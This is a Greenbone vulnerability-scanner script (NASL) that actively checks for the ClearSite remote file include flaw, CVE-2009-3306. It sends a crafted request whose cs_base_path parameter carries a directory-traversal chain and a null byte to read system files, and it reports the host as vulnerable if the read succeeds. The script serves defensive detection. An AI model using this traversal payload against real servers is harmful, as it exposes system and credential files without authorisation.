ClearSite RFI Vulnerability (Aug 2010) - Active Check

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:richrumble:clearsite";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100756");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2010-08-11 13:11:12 +0200 (Wed, 11 Aug 2010)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2009-3306");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("ClearSite RFI Vulnerability (Aug 2010) - Active Check");

  script_category(ACT_ATTACK);

  script_family("Web application abuses");
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_dependencies("gb_clearsite_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("clearsite/http/detected");

  script_tag(name:"summary", value:"ClearSite is prone to a remote file include (RFI) vulnerability
  because it fails to sufficiently sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"Exploiting this issue may allow an attacker to compromise the
  application and the underlying system, other attacks are also possible.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/40457");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/511507");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files();

foreach pattern (keys(files)) {
  file = files[pattern];
  url = dir + "/include/header.php?cs_base_path=../../../../../../../../../../../../" + file + "%00";

  if (http_vuln_check(port: port, url: url, pattern: pattern)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);